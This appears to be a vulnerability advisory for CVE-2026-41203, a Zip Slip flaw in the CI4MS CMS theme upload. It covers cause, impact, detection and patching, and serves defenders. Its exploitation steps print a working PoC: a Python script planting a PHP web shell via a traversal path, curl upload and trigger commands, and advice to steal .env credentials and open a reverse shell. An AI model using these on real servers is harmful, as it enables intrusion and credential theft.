CVE-2026-41203: 
PHP vulnerability analysis and mitigation

CVE-2026-41203 is a Zip Slip path traversal vulnerability in CI4MS (a CodeIgniter 4-based CMS skeleton) that allows an authenticated backend user with theme create permission to achieve remote code execution (RCE) by uploading a maliciously crafted ZIP archive. The vulnerability affects all CI4MS versions prior to 0.31.5.0 and was published on April 18, 2026, with the GitHub Advisory Database entry added April 22, 2026, and NVD publication on May 7, 2026. It carries a CVSS v4.0 base score of 9.4 (Critical) (Github Advisory, CI4MS Advisory).

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), specifically in modules/Theme/Controllers/Theme.php (lines 13–56), where ZipArchive::extractTo() is called directly without iterating over or validating ZIP entry names. An attacker can craft a ZIP archive containing entries with path traversal sequences (e.g., ../../public/shell.php) that, when extracted, write files outside the intended writable/tmp/ directory into web-accessible locations. Notably, the same codebase correctly implements a realpath + regex validation loop in modules/Methods/Controllers/Methods.php (lines 165–175), but this check was not applied to the theme upload handler. The vulnerable endpoint is bound via modules/Theme/Config/Routes.php as POST backend/themes/themesUpload with role=create (Github Advisory, CI4MS Advisory).

Successful exploitation allows an attacker to write arbitrary files — including PHP web shells — anywhere on the filesystem accessible to the web server process, including the public web root. This results in full remote code execution as the web server user (e.g., www-data), enabling complete compromise of the CI4MS installation, exposure of database credentials stored in .env, exfiltration of all site content, and potential lateral movement to other systems reachable from the server (Github Advisory, CI4MS Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, including a Python script to build the malicious ZIP and curl commands to upload and trigger the web shell. No evidence of in-the-wild exploitation or threat actor attribution has been reported at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.534% (68th percentile), and the Feedly-reported EPSS is 0.00466 (Github Advisory, CI4MS Advisory).

1. Obtain authenticated access: Acquire or compromise a CI4MS backend account that has the create permission on the Theme module.
2. Build the malicious ZIP archive: Use Python to craft a ZIP file with a path-traversal entry targeting the public web root:

import zipfile
with zipfile.ZipFile('evil_theme.zip', 'w') as z:
    z.writestr('../../public/shell.php', '<?php system($_GET["c"]); ?>')
    z.writestr('info.xml', '<theme><name>evil</name></theme>')

3. Upload the archive: Submit the malicious ZIP via the Theme upload endpoint using an authenticated session:

curl -i -b 'ci4ms_session=<SESSION_TOKEN>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

4. Trigger the web shell: Access the dropped PHP file directly from the public web root to execute arbitrary OS commands:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. Escalate and persist: Use the shell to read .env for database credentials, establish a reverse shell, or pivot to other internal systems (Github Advisory, CI4MS Advisory).

• Network: Unexpected POST requests to /backend/themes/themesUpload with multipart ZIP payloads; subsequent GET requests to newly created .php files in the public web root (e.g., /shell.php?c=...); outbound connections from the web server to unknown external IPs.
• File System: Unexpected .php files appearing in the public/ directory or subdirectories, especially with names not matching legitimate theme assets; ZIP extraction artifacts in writable/tmp/ with path traversal sequences in entry names.
• Logs: Web server access logs showing POST to /backend/themes/themesUpload followed shortly by GET requests to newly created PHP files; PHP error logs referencing ZipArchive::extractTo with unusual paths; CodeIgniter logs showing theme upload activity from unexpected user accounts.
• Process: Unusual child processes spawned by the PHP-FPM or Apache/Nginx worker process (e.g., bash, sh, curl, wget, python) with the www-data user context (Github Advisory).

Upgrade CI4MS to version 0.31.5.0 or later, which patches the Zip Slip vulnerability in both Theme::upload and Backup::restore (CI4MS Release). As interim mitigations, restrict the theme create permission to the minimum necessary trusted users, implement server-level controls to prevent PHP execution in upload/temp directories, and add a web server rule blocking direct access to writable/tmp/. Organizations should also audit existing installations for unexpected PHP files in the public web root and review theme upload logs for suspicious activity (Github Advisory).

The vulnerability was responsibly disclosed by researcher fg0x0 and coordinated with the CI4MS maintainer bertugfahriozer, who credited the security community members @offset, @bugmithlegend, @peeefour, and @DexterHK in the release notes for coordinated disclosures. The release notes for v0.31.5.0 describe the fix as closing a "severe directory traversal vulnerability" and strongly recommend immediate updates for all administrators (CI4MS Release).